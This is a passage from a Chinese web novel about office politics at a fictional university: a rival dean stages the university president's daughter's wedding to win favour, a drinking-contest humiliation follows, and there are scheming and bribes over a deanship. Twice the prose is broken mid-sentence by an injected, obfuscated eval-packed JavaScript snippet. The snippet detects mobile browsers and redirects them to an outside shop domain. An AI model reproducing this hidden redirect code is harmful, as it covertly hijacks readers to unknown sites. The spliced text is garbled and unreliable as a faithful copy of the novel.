“你能想得通很好”,说道这里,孟超话锋一转:“德君,事物之间都是联系呢嘛。我以前就告诉过你,这顾明远和吴雅娟结合,看起来是他们两个人的事情,但是你想过没有,秦冰纶和她们历史学院是既得利益者的呀?” 钟德君一脸愕然:“有这么邪乎吗?” “要不说你还是太年轻了。德君,我告诉你,只要有人的地方,斗争就无处不在。你没看到秦冰纶总是拿顾明远和吴雅娟的关系炫耀吗?你以为她真的为他们高兴?错了,指不定她内心的妒火烧得有多旺呢。那她为什么还要高兴,无非是为了显示自己和学校高层的关系更加紧密了呗。” 钟德君觉得孟超有些小题大做,但月光下孟超认真的眼神让他打了个寒战。思考片刻后,他大着胆子问:“吴校长不是快要退休了吗?” “没那么简单。”孟超显得心事重重:“吴退了还有周呢。周是吴的嫡系,吴现在正全力支持周上位呢。明白了吗?” 钟德君有些恍然:“周濂出身历史学院,如果做校长了,那历史学院肯定又是近水楼台了。” “很多人以为我和秦冰纶斗法是个人恩怨。错了,我得为咱们财经学院争取更多的话语权呀。” 钟德君对孟超的话坚信不疑。为了表示忠心,他提出了以后多组织一些各部门处长、院长的聚会拉近感情。 孟超点了点头,旋即又叹了口气:“还是朝中有人的好啊。如果我能进班子,那将来咱们财经学院和你的天地就广阔多。” 钟德君的目光被月光映射的光彩熠熠:“您迟早是要做校长的。我们对此坚信不疑啊。” 孟超轻拍了一下钟德君算是奖赏:“如果是你们说了算就好喽。可惜呀学校的话语权还是在老许和老吴这两人呀。你明白我的意思吗?” “许书记不是一直很欣赏你的吗?”钟德君试探着问道。 “德君,这还不够啊。你不知道老吴在学校的能量啊。现在秦冰纶领先我半个身位了,我必须让老吴助力我尽快坐上财经学院院长的位子呀。” 钟德君以为孟超担心卓娅抢了自己的位子,便刻意把她贬损了一番。孟超见他没有明白自己的意图,干脆直接说出了自己想替吴家操办婚礼以换取吴若甫支持的想法。 钟德君思索了片刻,竖起两根大拇指由衷地赞叹起来:“孟院长您真是深谋远虑,神机妙算啊。” “现在还不是叫好的时候。我听说他们历史学院也有这个想法。这很正常嘛,毕竟顾明远是那边的人。”说完,孟超直接给钟德君交代了一个任务:利用哥们关系说服顾明远挑选孟超负责操办婚礼。理由很简单:这些年孟超几乎主持了一半以上的新人婚礼。 这一段时间,吴若甫就女儿“五一”期间举办婚礼没少召开家庭会议。十月底是他退休的日子。五一节风风光光地举办婚礼是这个家庭当前的头等要事。万素琴对顾有余只同意拿出一万块钱来作为婚礼举办的费用耿耿于怀,抱怨吴家这是娶女婿而非嫁女儿。 吴若甫对此不以为然:“你也不要太计较这个啦。你想想看,你儿子现在都成了外国人了,我们将来还得指着女儿女婿养老呢。”这句话让万素琴有些无话可说。吴若甫趁热打铁:“再说,你这些天不是一直在扒拉算盘的嘛。” 万素琴知道老伴是指自己最近在用算盘预估礼金的收入,便将对顾家的不快暂时压制了下去。 几次家庭会议过后,如今最大的问题上集中在由谁来主导这场楚江大学的“世纪婚礼”。吴雅娟主张高价邀请婚庆公司全权负责,说是专业人做专业事。因为有了好哥们钟德君的推荐,顾明远说出了孟超的名字,理由是经验丰富且节省开支。吴若甫沉默不语,因为周濂向他暗示过秦冰纶她们有意效力。 当余丹凤像个天使一样煽动着翅膀将顾、吴二人五一节举办婚礼消息传遍校园时,秦冰纶的心情莫名地跌到了谷底。这些日子,她思绪万千,心情复杂,有时甚至为自己可笑的念头感到悲哀。她经常站在办公室的落地窗前,指尖无意识地摩挲着咖啡杯沿,目光却穿过玻璃,落在斜对面中国古代史教研室那个年轻的身影上。 “我这是怎么了?”她自嘲地摇摇头,心里明白自己像守着一盏永远不会亮的灯,却还固执地往里添油。内心的冲动在夜深人静独守空房的时候尤其澎湃。她甚至有些痛恨自己:凭自己的模样和能力,什么男人找不到,为什么偏偏对这个书生产生情愫呢。明知不可为而欲为之。即便有着远大理想的秦冰纶也未能免俗,飞蛾扑火般地放任着自己的痴迷。 作为闺蜜兼下属,沈菊英对秦冰纶的心情了若指掌,也充满担心。事实上,军人出身的她并不认同院长的这种“畸恋”心态。尤其预判秦冰纶在楚江大学大学的官场前程似锦的时候,她觉得作为“闺蜜”有义务替秦冰纶拨乱反正走出迷途。在听说孟超有意替吴家操办婚礼的消息时,沈菊英立刻将事情上升到了学院高度,强烈建议秦冰纶要高度重视争取举办权。 秦冰纶赌气地摆了摆手:“这是别人的私事。我可没那么好心,主动去替别人作嫁衣。” 沈菊英不愿放弃:“秦院,您想想,吴校长嫁女儿,这在咱们楚江大学可是一件大事啊,多少人会上赶着去献殷勤博得好感和支持。这小顾本来就是咱们历史学院的老师,论起来这算是咱们历史学院娶媳妇呢,如果我们不承头去操持,得罪吴校长不说,人家怎么看您和咱们历史学院呀。这个风头一旦被孟超抢去了,不仅让他得势,他们财经学院不是也跟着露脸了吗?” 沈菊英这一番分析让秦冰纶似乎有些清醒了过来,态度也有了转变:“那你觉得该怎么办?” “当然是主动请缨了!您干脆直接去找吴校长好了。” 然而,秦冰纶还是晚了一步。就在昨晚,孟超带着两瓶珍藏版茅台酒和一个装有1888元的红包,悄悄来到了吴若甫的家。 当孟超说出操办婚礼的来意时,吴若甫大感意外。一直以来,吴若甫对孟超的看法不算正面,觉得他能干但功利心太强,加上是财经学院的缘故,心里对他多少有些疏远。 孟超早就练出了察言观色的本事,对校长对自己的看法心知肚明。但是,他不会计较这些。吴若甫外有人脉、内有威望,现在乃至将来相当长的一段时期内在楚江大学的威慑力和影响力都不容小觑。最近有内幕消息,吴若甫正在推动自己退休前选拔一名校长助理。此时不伏笔铺垫,更待何时呢? 万素琴参加过几次孟超主持的婚礼,对他能说会道、诙谐幽默的主持风格印象极其深刻。还不等吴若甫表态,便欢天喜地地说道:“这太好了,如果我们娟儿的婚礼能让孟院长主持,那我就放心了。” 吴若甫心里责怪老伴嘴快。就在前几天,周濂找到自己表达希望由历史学院操办婚礼的想法,现在她这一表态,让自己都没有回旋的空间了,更何况孟超确实这方面在全校挺有口碑的,加上人家主动登门并提前送了贺礼,如果拒绝,情理上确实说不过去。所有推拒的退路都被孟超的热情堵死,吴若甫深吸一口气后缓缓吐出一句话来:“那就有劳孟院长你啦。” 当吴雅娟将拟请孟超操办婚礼的决定告诉顾明远时,顾明远面露难色。原来,沈菊英已经找过他表达学院帮助操办婚礼的意思。本来心里对秦冰纶有一股莫名的恶感,这次吴雅娟毫不犹豫选择站在了孟超一边。 毕竟婚礼费用的大头由吴家负担,顾明远也不好强硬坚持。当他满脸愧色将这个消息告诉沈菊英时,沈菊英气得用手指狠命点了点他的太阳穴:“你呀,你呀,真是枉费了秦院长的苦心。” 顾明远有些不解:“不就是个婚礼吗?谁来操办不都一样?” “小顾你糊涂呀。咱们历史学院老师的婚礼竟然让老对手的人来操办,你让秦院长的脸往哪儿搁?” 顾明远这才意识到了问题并非自己想象的那么简单,一时有些手足无措。回到教研室,顾明远在电话里想和吴雅娟商量换人的事情,却被她一口回绝。这让顾明远又生出了“自己是提线木偶”的感叹。 当沈菊英将孟超操办婚礼的消息告诉秦冰纶时,无可奈何的秦冰纶却出人意料地冷静:“他想露脸就让他露脸呗。我还不稀罕去掺和呢。再说,婚礼还有两个来月呢,早着呐。” 沈菊英怔在原地看了秦冰纶老半天:她这葫芦里要装什么药呀。 婚礼只有两个来月的时间,婚房问题有些困扰顾明远。本来,他想因陋就简,就在筒子楼自己的宿舍布置布置,万素琴嫌太过狭窄不太满意。吴雅娟提出就再自己娘家不知婚房,顾明远碍于面子并且不想和吴若甫他们住在一起而坚决予以拒绝。最后,两人决定狠狠心自掏腰包去附近村民家租房,过去一看,满地的鸡粪和牛粪以及不菲的价格让吴雅娟彻底断了念想。 正在山重水复疑无路的时候,吴雅娟带来了一个大好消息,说是总务处长朱政华同意腾出“筒子楼”五楼的两间库房作为他们的婚房。正在喜不自禁,吴雅娟无意间的一句“这下知道有校长岳父的好处了吧”,意思这是吴若甫给朱政华打招呼的结果,顾明远心里一下子觉得象吃了一颗苍蝇般别扭,彷佛没有吴若甫自己将会一事无成似的。 别扭归别扭。毕竟是雪中送炭,顾明远心情倒也不至于低落。正巧钟德君不在家,禁不住吴雅娟胸部高耸的诱惑,顾明远将吴雅娟压在床铺上云雨了一番。运动结束后,想起父亲无力分担更多的婚礼费用的事情,顾明远趁着兴头说起了软和话。满脸潮红的吴雅娟“啧啧”地感叹起来:“哟,难得顾先生能够低头服软呢。说实话,我们家也不缺这一万两万的。不过你家确实有点过分,我妈有写想法也很正常。算啦,不说这个了,算我上赶着找你顾明远,就看你今后怎么报答我呗。”说罢,吴雅娟骄傲地将两只雪白玉盘往前挺了挺。顾明远本来还有继续余兴的想法,被吴雅娟的话弄得退了潮水。 吴雅娟没有发现顾明远情绪的变化,挽着头发半开玩笑地说道:“你别以为占了我的身子以后就敢放肆了。告诉你吧,周濂大概率会接我爸的班,你小子将来乃至永远逃不出如来的手心的。” “这哪跟哪儿呀?”顾明远觉得还不解气,继续嘲讽道:“这么说,我顾明远是卖给你们吴家了呗,风筝飞高飞低都得看你们手中的线放长放短了。” 吴雅娟没有听出顾明远的弦外之音,她用脚尖顶了顶他的屁股:“知道就好。” 顾明远望着窗外沉沉的夜色,无声地叹了口气。他蓦然意识到,□□的亲密并不能让两个灵魂自然地水乳交融。他们的结合有时像是两条被迫汇流的河,表面融为一体,底下却仍然流淌着各自来源的水,温度不同,流速不同,甚至携带的泥沙也不同。吴雅娟喜欢在父亲的庇荫下光彩夺目,他顾明远更愿意依靠自己来出人头地。谈到将来,她满脑子的权力和地位,而他神往的是自由和自主。眼前的一切让他无力改变,看着吴雅娟横陈在床铺上的裸体,顾明远的脑海里又固执地漂浮起那个虚幻的“民国女学生”的影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904218|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子来。他知道,其实那不过是一个惊鸿一瞥后依靠文学想象和内心渴望拼凑而成的幻影而已。 每当这样的情绪泡沫泛起时,顾明远立刻感到一种对吴雅娟的愧疚,觉得依靠一个虚无的幻影来冲刷吴雅娟的感情多少是有些不道德的。 五一节如期来临。在孟超的精心策划下,顾、吴二人的婚礼在闻名遐迩的“江城天下”酒店盛大开场。 当人们步入婚礼大厅,恍若进入到了一个色彩斑斓、如梦似幻的星球。孟超婚礼匠心独具为这场婚礼定下了“琥珀·时光”的主题。金色与棕色交织,主舞台金色沙漏状铁椅倾斜摆放,似乎只为守候新人的一份深情;两道拱门灯光闪烁,仿佛在迫不及待地迎接爱情的到来;仪式通道上金属灯具与水晶玻璃灯交错摆放,仿佛要为新人的爱情保驾护航。婚礼现场璀璨夺目、美轮美奂。 吴若甫夫妇步入婚礼大厅时,心中不禁对孟超的巧思妙想赞不绝口。趁着空隙,他特意把忙得满头大汗的孟超拉到身边,高高竖起大拇指连声说了两句“很好”。 这一幕,恰好被不远处的秦冰纶看在眼里,孟超的意气飞扬让她心中醋意遽然上升,决定实施沈菊英提出的出出孟超“洋相”的方案。 婚礼的盛大不仅在于目眩神迷的场景,更在于参加婚礼来宾的级别。当楚江大学全体校领导以及一众厅官们,众星拱月般陪着一位重量级人物步入婚礼大厅时,婚礼大厅的空气仿佛凝滞了一瞬。紧接着,惊呼声如同潮水般从主桌迅速向整个大厅蔓延,最终汇成一片压抑不住的喝彩。 “真的是…刘副省长?”有人几乎不敢相信自己的眼睛,低声向同伴确认。 很快,人们带着一种与有荣焉的兴奋,将潮水般的掌声席卷了整个空间。前排的宾客不自觉地站起身来,后排的则努力探身向前,想要更清楚地一睹这位极少出现在此类场合的省领导的风采。照相机和摄像机的光芒闪烁不停,争相记录下这楚江大学历史上堪称空前——未来也可能绝后——的一幕:一位在职的副省长,亲自出席一对年轻人的婚礼。要知道,去年的五十周年校庆上,也只来了个虚职的政协副主席而已。 钟德君、胡莎莎他们早就放出了风声:邀请吴若甫这位副省长同学的“金点子”正是出自孟超,加上孟超婚礼现场的设计匠心,自然身价倍增。 看见主桌上新郎的父亲顾有余有些张皇失措,孟超急中生智,迅速让人将顾有余的席牌移转到旁边的桌子上。顾小满见状非常不满,正要上前议论,万素琴赶紧撤下自己的席牌,陪着顾有余坐到了旁边的桌子上。人们发现,连堂堂的楚江大学书记许继武和几位厅长也只能在主桌上叨陪末座,不禁感叹“山外有山人外有人”所言不虚。 在孟超收放自如、庄谐并重的主持下,婚礼现场洋溢着欢快喜乐的气氛,这从主桌上贵宾频频点头以及现场不断发出的喝彩声可见一斑。 从未经历过如此盛大场面的新郎顾明远僵直地站在“T”字台中央。不一会儿,衬衫已被汗水浸透,幸亏外面套有深色西装,不至于被人看出更多的尴尬。新娘吴雅娟也好不到哪里去,脸上的妆容早被汗水细细勾勒出几道斑驳的痕迹,脚步抖动得几次要踩到拖尾的婚纱……。 两人只能象木偶一般,任凭孟超的摆布。巴不得婚礼能立刻结束。 作为主持人的孟超在聚光灯下尽情表演一个小时后,来宾们终于等来了饕餮盛宴的时刻。 秦冰纶和沈菊英对了一下眼色,决定要演出自己的节目来杀杀孟超的风头。沈菊英将自己的打算告诉了顾明远,顾明远因为孟超撤换父亲的席牌心里早就有些不满,点了点头算是默许。 因为近乎完美的表现,孟超已经被众人的捧声吹得有些飘飘然。在钟德君、胡莎莎的左簇右拥下,开始挨着桌子敬酒,这是一个趁机加强感情的合适场合。 当他们来到秦冰纶所在的十号桌时,如同飞蛾扑进了一张大网里。胡莎莎、钟德君见势不妙,拉着孟超想绕道而走。已经有些飘飘然的孟超没有意识到危险,反而目光在秦冰纶身上放肆地游弋:“难得能和秦大美女一起,今天是吴校长家的大喜日子,我和秦院长好好喝上几杯。” 一场“酒戏”就此上演。 在沈菊英的巧妙指挥下,学院林书锦等几个有酒量的孟超、胡莎莎、钟德君他们实施了“分割包围”战术,刚走回敬酒流程的新郎顾明远也赶来助阵助阵。 孟超自信酒量足以应付秦冰纶,提出要和美人单挑,趁机在她身上揩点油水。秦冰纶早已胸有成竹。她将顾明远推到孟超面前:“今天婚礼如此成功,你这个新郎官最应该感谢的就是孟院长。机会难得,你是不是应该表达一下?” 林书锦眼疾手快,在两人面前各摆下三只酒杯,然后擎起酒瓶一一斟满。吴雅娟见状,趁着孟超和秦冰纶言语纠缠的空档,赶紧让人将顾明远面前的酒杯换成白水,看得真切的顾明远说了声“成何体统”,扳着孟超的肩膀,两人将各自的三杯酒一饮而尽。 现场发出一阵热烈的掌声。很快,人们被掌声吸引过来,将十号桌围得严严实实。主桌上的吴若甫见状,生怕扫了副省长同学的雅兴,便赶紧和秘书一起将他送到了外面的专车中。 喝完新郎三杯酒的孟超意气风发,开始嚷着要和秦冰纶喝一次交杯酒。沈菊英看见一旁坐立不安的胡莎莎,计上心来,和林书锦耳语了几句后,连推带搡地讲胡莎莎拱到了孟超面前。在一片起哄声中,有些忘乎所以的孟超主动和胡莎莎喝起了交杯酒。 早有准备的黄阿娇用相机拍下了这个活色生香的画面。 在孟超连喝了十五杯后,秦冰纶这才最后出场。在秦冰纶饱满身体的紧贴和奇妙香水的熏染下,早已头晕目眩的孟超难以自控,竟在众人面前失控地呕吐起来……。 这一幕再次被黄阿娇按进了快门当中。 从此,盛大的“世纪婚礼”生产出了两个经典的“笑话”:主持人、新郎官同时成了醉汉。 孟超收到了许继武的严肃批评。 因为醉酒而洞房虚度,第二天中午才完全清醒的顾明远遭到了夫人吴雅娟的厉声斥责。顾明远自知理亏,只好又是揉肩捏腿又是拍胸道歉,吴雅娟的心情总算好转,随即得意扬扬地将一个鼓囊囊的布包扔在床上,居高临下地命令道:“数数,数数。”顾明远打开布包,发现里面是一扎扎的人民币,不禁吃了一惊:“这么多钱是从哪里来的?”吴雅娟的得意之情更甚,坚持让顾明远点数。顾明远粗略一点,竟然七万之巨。 吴雅娟像是一只高傲的波斯猫,食指在顾明远的大腿上戳了一下:“告诉你吧,这可都是我老爸的面子,这七万只是礼金的一部分而已,老妈说了,只要你对我好,剩下的钱她会替我们保管。”说罢,从中抽出一沓钱来扔给顾明远:“晚上将这一万给你爸吧,反正他也缺钱。” 顾明远的心象被扎了一下,将钱丢了回去,语气冰冷如霜:“我家不缺钱,这些你还是留给自己吧。”说完,以头疼为由,和衣躺进被窝里,鼾声很快响了起来。 吴雅娟气得在心里骂了一句“乡巴佬”,盯着小山似的钱不知道该怎么办。 18. 秋风权弈 深秋的楚江大学,梧桐叶片片飘落,铺就一条条金黄而热闹的道路。象牙塔里看似平静,却因一场即将到来的人事更迭,开始暗潮汹涌。 因为转正而成为楚江大学最年轻处长的秦冰纶在孟超眼里就是一朵玫瑰。在孟超看来,秦冰纶既不是温婉的百合,也不是清冷的寒梅,而是一朵盛开在权力荆棘丛中最艳丽、也最扎手的玫瑰。在绸缎般层叠馥郁的花瓣下面满是尖刺的硬枝。她的每一次升迁、每一个成功带来的威胁,都像是那根根锐刺,精准地扎入他敏感的神经,让心中对秦冰纶的愤恨早就盖过了对她耀眼光芒的垂涎。 坐着恨不如起来行。再过一个月,梅大镛因为年龄问题就要卸任院长了。孟超暗自下定决心,决不能让这样的机会从眼前错过。此刻,他坐办公椅里,目光游移地看着窗外银杏树上金黄剔透的叶片。 想起吴若甫和自己说过的“校长助理”的事情,孟超焦虑地喃喃自语:“慢一步步步皆慢啊”。这个官场上朴素的道理此刻像针一样扎在他心上。他与秦冰纶同是三年前提拔的副院长,如今对方却因院老院长提前病退而意外“扶正”。想到此,他甚至有些迁怒院长梅大镛——这家伙即将到点,最近上蹿下跳四处活动竟然妄想延迟退休,真他妈的有些不要脸啊。 孟超的焦虑并非没有道理。自去年以来,梅大镛就在不同场合放风,说什么“六十岁退休简直是资源浪费”、“国外干到七十岁大有人在”、“我现在每天都能跑上十公里”……。明眼人一眼就能看出:这是在为自己延迟退休埋伏笔。 在孟超看来,如果梅大镛真的如愿,自己争取院长的愿望就会落空。一旦哪一天启动“校长助理”的遴选,自己必败秦冰纶无疑。为此,这半年来,孟超或亲力亲为或怂恿钟德君胡莎莎两位干将,没少给许继武、吴若甫甚至梅大镛的死对头莫笑非递交匿名信,核心意思只有一个:到龄退休是国家法定政策,决不能在楚江大学开此恶例。觉得力度尚有欠缺,孟超有意将悄悄掌握的梅大镛这些年来公款吃喝旅游的证据提供给钟德君,授意他去隐秘地“煽风点火”。 孟超精心策划的“地下工作”,终于显露出了成效。那几封处处戳中要害的匿名信如同几枚精准射出的冷箭,足以让书记许继武徘徊不前。 当梅大镛再次走进许继武的办公室准备与老同学敲定延迟退休的细节时,他敏锐地察觉到办公室里的空气似乎与往日不同。许继武依旧客气、亲手沏茶,但目光明显有些游移闪躲。 “老梅啊,你这个事……”,许继武轻轻呷了口茶,语气斟酌着说道:“唉,现在风声有点紧哩。”许继武固然重视同学情分,但对自己羽毛更加爱惜,更何况这确实超规越距的事情,他不可能绝不愿为了一个即将退休的老同学去硬扛“风险”和“舆论压力”。 梅大镛对老同学态度的转变有些失望,言语难免有些激动。好脾气的许继武干脆拿出了举报信,这下梅大镛的气势有些萎靡了下去。许继武不想让老同学怨恨自己,趁机暗示校长吴若甫“坚决反对”的态度未自己开脱。 举报信让梅大镛有些惊悸。他明白“小不忍则乱大谋”的道理,只好讪讪地表态“那就按规矩办吧。” 回到办公室里的梅大镛猛地一拳砸在厚重的办公桌上,“砰”的一声闷响震得笔筒里的钢笔都跳了一下。 “混账东西!都是些阴沟里的老鼠!”他从牙缝里挤出这几个字,像一头被偷猎者刺伤却找不到对手的老熊,呼哧呼哧地喘着粗气,在宽敞的办公室里来回疾走。想到自己延迟退休的梦想彻底被那些来自暗处的冷箭和明面上的规则击得粉碎,他舍不得啊。 正在身着闷气,门外传来敲门声。梅大镛没好气喊了声“进来”,副院长卓娅有些干瘪的身形闪了进来。 卓娅是一位右眼角缀着一颗黑得发亮泪痣的武汉女人。出身部队大院的她自恃背景高贵,加上资历匪浅,在楚江大学享有“火药桶”的盛名。一次班子会上,她甚至指着孟超的鼻子直接来了一句“个班马养的”的汉骂,一时语惊四座、震慑全场。 气势固然盛大,但卓娅也因此得罪了不少人。副院长已经做了十年而一直达不到提拔。在副军级的首长爷爷的启发下,卓娅从去年来刻意收敛火爆脾气,开始现学如何从“斗勇型”向“斗智型”的转变。这一切,都是源于梅大镛退休后将要空出的院长位子。 梅大镛在这些年和卓娅的共事中,对她的失敬心有所恨。但是,自从去年来卓娅一箱箱不对特供的茅台送上家门,梅大镛对她的印象一下子好转了不少。 窗外梧桐叶簌簌飘落,室内檀香在青铜香炉里袅绕。当卓娅随意将两条特供烟放在梅大镛面前时,梅大镛因为举报信郁积在心中的怒火消减了些许,故意咳嗽两声:“你来得正好。下周三的全省会计学术论坛,规格很高,要不……你来主持?” 卓娅现在学会了收敛,感谢一番后故意说道:“会计教研室是孟院长分管。这样他会不会有意见呀?您知道,他现在似乎对我恨有意见的。” 梅大镛最近也听说了不少孟超活动频频的消息,这让他有些不爽,便呷了一口茶后说道:“你也是会计科班出身嘛。都是院里的事情,再说小孟抛头露面的次数很多,你也该露露面嘛。” 卓娅担心梅大镛是在试探自己,赶紧起身态度异常“坚定”地拒绝:“不行不行!梅院长,这论坛非得您主持不可!您的资历、气场,我和孟院长哪能比?” 她刻意将“孟院长”三个字咬得很重。 卓娅果然有先见之明。梅大镛故作沉吟,顺水推舟,表示再和“上面”商量商量。说到这里,梅大镛忽然看着卓娅说到:“这都快下班了,你找我有事吗?” 卓娅没有立刻回答。嘴角噙着一丝难以捉摸的笑意,声音放得又轻又缓:“梅院,也没什么大事。今天中午几个人一起吃饭时,有人说上咱们院最近似乎有人在刮一股妖风,想把脏水泼在您的身上。您可得当心啊。” 梅大镛的腰板本能地挺了起来。故作镇定地说道:“怎么办呢。真是林子大了什么鸟都有”。 卓娅故意叹了口气:“唉,我不明白,有的人当面将您梅院捧得高高的,背后却不停地使着阴招,这不是小人嘛。” 梅大镛几乎脱口而出:“你是说的小孟?” 卓娅赶紧使劲摆手,正要说话,门外传来了秘书胡莎莎的敲门声。她是过来签字的。梅大镛强压下脸上的怒意,接过文件匆匆签字后让她离开。 胡莎莎恭敬地接过文件,退了出去。回到办公室后,迅速拿起电话拨通了孟超的手机。 电话那头,孟超的呼吸明显有些停滞。他对梅大镛睚眦必报的小人心理心里早有领教,如果不尽快攻关平息梅大镛的怒火,那极有可能将烧得自己体无完肤。 晚上八点,梅大镛家的门铃急促地响了两声。梅夫人开门见上孟超,脸上立刻结了霜,只冷冷地说了句“你来干什么”,便不理他。 孟超庆幸这次“深入虎穴”。他将一条羊绒围巾递给梅夫人,换来了她用手指了指里屋的待遇。孟超又拎着两盒极品茶叶走进了里屋。已经听到动静的梅大镛故意头也不回,依然仰躺在摇椅上闭目养神。 孟超并不回避,鞠了一躬后说道:“梅院,我知道卓院长在您面前说了我的不是,今天特地过来向您请罪,也要做些解释。” 梅大镛眼皮都没抬,冷冷道:“孟副院长言重了,你何罪之有?是我老了,不该占着茅坑不拉屎,该给你们年轻人让位了。”看了一眼孟超放在茶几上的茶叶,他冷笑了一声:“只是有些东西得按部就班,总不能抢的嘛。” 孟超根本不在乎梅大镛这些带刺的话,他此行的目的很明确,就是要扭转梅大镛的偏见:“梅院长,这里面一定是有误会的。您知道这些年我一直努力辅佐你。前不久,许书记征求我的意见时,我是明确希望您继续掌舵领航,将我们财经学院这几年的好势头延续下去。这个您可以去向许书记求证的。倒是有些在您面前甜言蜜语的人,指不定是安的什么心呢?” “什么意思?”梅大镛身子从摇椅上半坐了起来。 孟超深吸一口气,从西装内袋里小心翼翼地拿出手机:“您听听这个就明白了。” 手机开始播放背景嘈杂的录音,但里面副院长卓娅高亢的声音还是清晰可辩:“老梅真是想不通啊。延迟退休,说到底不就是舍不得那点权和待遇嘛?但他一直占着院长的坑,这会阻碍学校的发展呀?……” 孟超迅速按了暂停,痛心地说:“后面还有些更过分的,我就不污您的耳朵了。本来我想给她留点面子,但现在她为了接替您的位子想把水搅浑把矛头引到我身上的做法,确实让人无法容忍。” 虽然知道卓娅和孟超一直不对付,但原声播放,应该不像是孟超编造的。这些年,杀人不见血的软刀子,他梅大镛见识得太多了。但卓娅如此露骨地攻击自己,这确实大出他的意料。梅大镛抬起眼,锐利的目光像刀子一样刮过孟超的脸:“看来你们都不想我在院长这个位置上多待一天嘛。放心吧,马上就会遂了你们的。” “梅院您误会我了!”孟超急于洗白自己:“我孟超是您一手提携起来的,我怎么可能做对不起您的事?”说到这里,他有意停顿了片刻,语气变得推心置腹:“我也听说了,现在延迟退休政策上还有障碍。其实吧,我一直有个主意……”,说到这里,他又故意停顿了下来。 梅大镛知道孟超一向主意多,便用目光逼着他快讲。 “说句实在话,延迟退休,就算成功了,也就多干一两年,期间还要面对这些明枪暗箭,耗费心神,得不偿失。”他往前凑了凑,声音充满了诱惑力:“我有个两全其美的想法,既能让您安心退下来,又能让您退而不休,继续保持甚至提升您的影响力和待遇。” 梅大镛挑了挑眉:“哦?” “我们可以由学院出面申请,为您专门设立一个‘梅大镛大师工作室’,这样也可以和莫笑非的‘荆楚大先生’工作室抗衡嘛!” 一句“和莫笑非抗衡”说出了梅大镛藏在心里多年的夙愿。孟超继续画着美图:“独立办公空间,专项经费支持,配备科研助手,专攻重大课题。如果这样的话,,名有了,利也有了,清闲也有了,这该多好呀。” 梅大镛两眼放光,情不自禁地从摇椅上站了起来。走了两圈后忽然停下了脚步。不待说话,孟超几乎是拍起了胸脯:“梅院长,只要您放心将院长的担子交给我,我向您保证,‘梅大师工作室’将是我上任后推动的第一要事!将来学院资源一定优先保障和倾斜。” 书房里陷入了短暂的沉默。梅大镛当然知道孟超的话里有真有假,但抛过来的既有面子又有里子的饵料委实诱人。良久,梅大镛缓缓端起茶杯,呷了一口,语气缓和了许多:“小孟啊……你有这个心,很好。工作室的想法……有点意思。具体细节,还可以再斟酌。” 梅大镛想成立“梅大师工作室”的消息激怒了一个人,他便是“荆楚大先生工作室”主人莫笑非。这个消息像一根火柴,瞬间点燃了莫笑非心中的妒火和鄙夷之火。“荆楚大先生工作室”官方认可的楚江大学独一无二的学术招牌,岂容他人分庭抗礼消磨了成色? 怒不可遏的莫笑非径直找到了校长吴若甫,竟然连“他算个狗屁大师”的话都骂了出来。 梅大镛想成立“大师工作室”的事情,许继武是和吴若甫商量过的。本来呢,吴若甫对梅大镛借势许继武的做法一直心怀芥蒂,但眼前有一件事情让他不好贸然反对许继武,那就是最近自己也在和上面探讨延迟退休的事情。这件事没有许继武的点头就很难顺利实施,因此,对许继武现在的一些想法,吴若甫都会尽量地予以支持。再者,吴若甫心里清楚,莫笑非如此气急败坏,决不是出于公心,更多的是见不得梅大镛的好。想到这里,吴若甫笑得非常婉转:“莫教授就事论事,不要人身攻击嘛。梅教授能不能设工作室,得班子研究决定呢。” “那总得有个门槛吧?”莫笑非不依不饶:“不然以后阿猫阿狗都成了大师,岂不是乱了套?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904219|192344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “人家承诺给学校争取一笔500万的计划外拨款,这个门槛不低吧?” 吴若甫的一句话噎得莫笑非半天说不出一句话来,最后冒出一句“这简直是对学术的污染”,悻悻地离开了。 半个月后,在卞同峰叔叔——省厅负责经费部门处长卞建桥的亲自关心下,梅大镛真金白银为学校争取到了一笔六百万的专项拨款。作为汇报,许继武亲自主持会议,授权财经学院组建“梅大师工作室”。 “大师工作室”牌子上墙,财经学院院长职务卸任。在卸任的前一天,梅大镛还要完成最后一个心愿:兑现对卞建桥提拔侄儿卞同峰做教研室主任的承诺。 教研室主任是个可上可下的职务,和行政部门的科长不能同日而语。梅大镛本以为大家会给自己这个即将退休院长一个面子,所谓提拔也只是走走过场而已,没想到班子会上遭遇了意想不到的阻力。 卓娅第一个跳出来反对,理由是卞同峰独来独往,没有群众基础。总支书记也跟着附和,说是卞同峰性格孤僻,难以共事。孟超倒没有明确反对,但提出了一个让钟德君一起出任教研室主任的新问题,卓娅趁机也要求解决心腹肖志阳的教研室主任问题。任凭他晓之以情、动之以理,大家就是不松口。眼看桌煮熟的鸭子要飞了,最后,梅大镛只好采纳孟超的建议:教研室副主任不需要学校批准,干脆将卞同峰、肖志阳、钟德君他们都戴一顶“副主任”的帽子。 